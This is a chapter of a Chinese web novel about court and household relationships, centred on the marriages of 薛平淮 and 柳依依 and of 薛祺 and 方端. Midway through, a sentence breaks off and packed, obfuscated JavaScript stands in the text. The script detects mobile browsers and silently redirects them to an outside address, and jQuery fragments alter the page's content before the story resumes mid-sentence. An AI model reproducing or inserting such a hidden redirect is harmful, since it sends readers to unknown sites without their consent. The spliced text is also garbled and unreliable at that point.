19. 局外人(16)
作品:《未遇知音人》 随即又摇了摇头,终于开始切入铺垫了这么久的正题:“可我的母亲最爱的永远是她的丈夫,我的父皇。父皇想削弱世族的势力,又怕你柳氏和江氏联合起来,所以将你和皇后分别许给我和皇兄,想让两家盯着这个未落定的皇后之位,不能合作。”
“所以不论如何,为了父皇的皇权,母亲都不可能允许我摆脱与你,不如换个说法、与柳家的婚事。”
“依依,你好好想想。为了我们薛家的权力,做个没有天性的人偶随柳家摆弄,到底值不值得。”薛平淮缓缓说着,每个字都掷地有声。
柳依依无法言说此刻内心的感受,不是愤怒,不是茫然,更不是后悔。
而是一种荒谬,薛平淮继薛祺之后,又一次给她这十几年的生活和目标下了决断。
“你在胡说些什么,”她激动起来,薛平淮在否定她、否定的她的生活方式,只为了给自己脱罪。
“什么没有天性,人之所以为人,便是因为礼法。你自己管不住自己,却来我这里强词夺理。如果这世上人人都不顾礼法、为所欲为,岂不乱了套!”
什么尊卑礼仪、行止仪态、温和有礼,她此刻已经什么都顾不上了,她觉得一切都荒谬极了,无论如何都必须要反驳。
明明他才是那个罪人,所有人都在指责他,他却大言不惭的把自己描绘成一个对抗勾心斗角的英雄。
实在是太好笑了。
薛平淮只是平静的看着她,一点儿也没有生气。
“你瞧,你现在冲我发脾气,才是你的天性。乱套了吗?”
柳依依哑口无言,本能地还要反驳,发出的声音却十分干涩:“这是因为我们是夫妻。”
“妻子应该这样对丈夫?这是‘圣人’训言?”
其实无须薛平淮的这句话,自柳依依说出那句话的时候,她就已经知道这句话是说不通的。
她颓然的坐回去,不能再说出任何一个字。
“依依,你既然已从母家出嫁,不如趁此机会去找找自己。成了敬王妃,你也有了同我一样肆意妄为的资本。”
“王爷今日这番话,是因为不想同我一起去杨夫人的寿宴,不想送楚姑娘去庄子吗?”她望过去,声音已经充满了无力感,仿佛是最后的挣扎。
薛平淮看见她眼里那再一击便会碎掉的倔强,还是摇了摇头:“当然不是,只是我今日心情不好,就走到你这儿,同你说几句闲话。”
他想,这点倔强是需要去打碎的,打碎、然后再重铸一个新的人。
“刚才同你说的,也并非是我自己想到的。”薛平淮又补充道,“是当时母亲一碗药坏了阿楚的身子,我痛苦万分,皇兄实在看不过眼,说与我听的。”
薛平澜告诉他这些,是想让他对母亲的决定多些理解,少些恨意,没能奏效,就算前因后果他都清楚,他也不可能理解母亲的所作所为。
而他如今又将这话转告给柳依依,也是因为愧对于她,希望她也不要为些虚无缥缈的傻念头自苦。
他希望能比皇兄当初告诉自己有效。
薛平淮同柳依依讲了许久,天也彻底明亮了,于是他也告辞准备回华安阁,不想刚走到门口,便听身后柳依依传来的话。
“请王爷转告楚姑娘,安心在王府待着吧,不必去庄子了。”
薛平淮诧异的转身,却发现柳依依仍低着头,并没有看向他。
饶是薛平淮也没有想到,柳依依能这么快的转变,即使她此刻也许并没有想明白,但这样快的做出这样的决定,足以令他对柳依依刮目想看了。
“你是个好姑娘。”薛平淮最终只留下了这一句话,迈出正院,回了华安阁。
柳依依却极力克制着摔碎面前茶杯这股不雅的冲动,恨恨的想着,谁要你的认可。
“王妃说让我待在王府里?”楚虞听到薛平淮回来说的话时,第一反应甚至是觉得他为了自己不去庄子上撒的谎。
她甚至打量着薛平淮的神色,思考着这种可能性有多大:“你怎么同她说的。”
薛平淮精简的概括了一下:“她是深闺走出来的小姑娘,想事情比较简单,我只是告诉她一些她父母和师傅不会告诉她的事。”
楚虞听完大概也就知道薛平淮说了些什么,沉吟了一下,还是说道:“可是重点不在王妃,而在柳家。如果柳家不打算放过我,那么王妃的想法其实并不重要。”
“你改变王妃的想法或许容易,但想改变柳家,却是绝无可能。”她不得不朝薛平淮泼了一碗冷水。
薛平淮并没有被打击到兴致,只是伸手在她额间扣了一下,力度轻到近乎抚摸:“傻丫头,我改变柳家做什么。我只是醒的太早,顺便去做点好事,希望她不要整日里不开心。”
楚虞抿唇笑了一下:“那也好,反正过两日杨夫人的寿诞,你同王妃去吧,我身子扛不住,就不去了。”
薛平淮摇了摇头,满脸的无可奈何,调笑道:“要么说是心有灵犀,我刚才也是这么跟柳姑娘说的。”
这一晚的方端也同样没有睡好,身边的薛祺或许是因为孕中嗜睡的缘故也或许是因为真的累了,不但安睡一夜,而且一直到天光大亮。
晨光透过床帐扰人清梦,薛祺迷迷糊糊的嘤咛一声,翻了个身,将头埋进方端怀里,也不知道是试图赖床再睡上一阵,还是只想同人撒撒娇。
不管是为了什么,方端都没让她如愿,将人一把搂起来,唤道:“起来了,我等会儿要去看语蓉。”
薛祺撅着嘴,不太高兴的样子,揉了揉眼睛,像是还没完全清醒,说话还有些含糊:“要我陪你吗?今晚回来有什么想吃的吗?”
方端觉得薛祺的心理真不是一般的强大,被她过了一夜便开始若无其事的样子激得微恼:“你当语蓉想看见你么?谁说我今日还来。”
薛祺听他还有些生气,却是两个问题都挨个儿回答了,不由得一笑,闭上眼又要往人身上倒。
“早些回来,我做好吃的给你。”
方端实在不擅长应对薛祺这副赖皮模样,手忙脚乱的想把人推开,每每刚推开,手上的人就微转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403775|168501||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个方向又倒下来。
他无奈极了:“你若是自己亲手做,我今晚就回来。”
方端是知道的,薛祺从前在方家住的时候,是学了一点厨艺的。可是自打再见之后,薛祺便说什么也不肯做了。
他曾暗暗猜想是惫懒的缘故,直到后来问出口,才知道她嫌这是下人才做的杂事,她身为皇女,不该做这些。
薛祺果然闭口不答了,方端这才真用上力把人推开了,越过外侧的薛祺下了床。
薛祺昨夜闹着说怕他半夜跑了,硬是要睡在外侧。
薛祺也坐到梳妆台前面,拎了把梳子,没唤人进来,自己动手梳了两把,然后将之扣在妆台面上,说道:“端哥你帮我梳头盘髻吧。”
方端正忙着打理自己的行装,一边儿往身上穿衣服,一边背对着妆台那边儿,敷衍道:“你叫半夏来吧,我没空。”
“半夏被我打发嫁人了,新换的那个年纪太小,没你熟练。”薛祺从前的确没少叫方端给她梳头发,方端也一向乐在其中,磨练得也算个中高手了。
薛祺是一点儿也不会的,十四年前便只会那一个发式,十四年后也依旧只那一个发式。
方端叹了口气,他好像是真的很缺乏拒绝薛祺的能力。他捏了捏手里攥着的衣领,狠了狠心:“你自己解决吧。”
刚拒绝完,他正要从架子上取下最后一件外套,眼前突然伸过来几只簪子,然后便是薛祺脆生生的声音:“你帮我选。”
方端的手不自觉缩紧了,薛祺在拿捏他这一道的确十分擅通,他刚刚做好的决定又狠狠动摇了一下。
他咬了咬牙,将外套一把拽下来,也不往身上套了,转过身就要走。
薛祺三番两次被他这样拒绝,早就耐不住性子,此时见人依旧不肯应承她,火气又盛了几分。
她猛地将手里的簪子朝那个背影扔过去,打在他的骨头上,发出轻微的闷响,随即便是零零落落打在地上的声音。
“晚上回来。”薛祺下了最后通牒,再次向方端让了一步。
薛祺的怒气一向比她的撒娇更让方端招架不住,他脚步顿了顿,没答应也没拒绝,就这么沉默着再次走了。
薛祺一早发了通脾气,看着门口因为方才动静候在那的蒹葭,水盈盈的双眼略带不安的看着她,心火倒是消了一些。
她坐回梳妆台前,还是让蒹葭给自己挽了一个简单些的发髻。
她面对着镜子,看着镜子里的自己,开始细想,方端这个样子,自己究竟还能忍他多久。
她实在不是个能受气的人,这世上敢找她不痛快的人屈指可数,她每每都会报复回去。而陛下更是从来不会对她红一下脸,从前方端也是从不与自己计较的,总是让着自己。
可这短短几天,不过见了两面,方端的态度已经令她大为恼火了。
她不想放方端走,也不会放方端走,可她又能这样让步到什么时候呢。
薛祺叹了口气,手轻轻按在小肚子上,觉得自己其实应该用这个孩子卖卖可怜,兴许有用。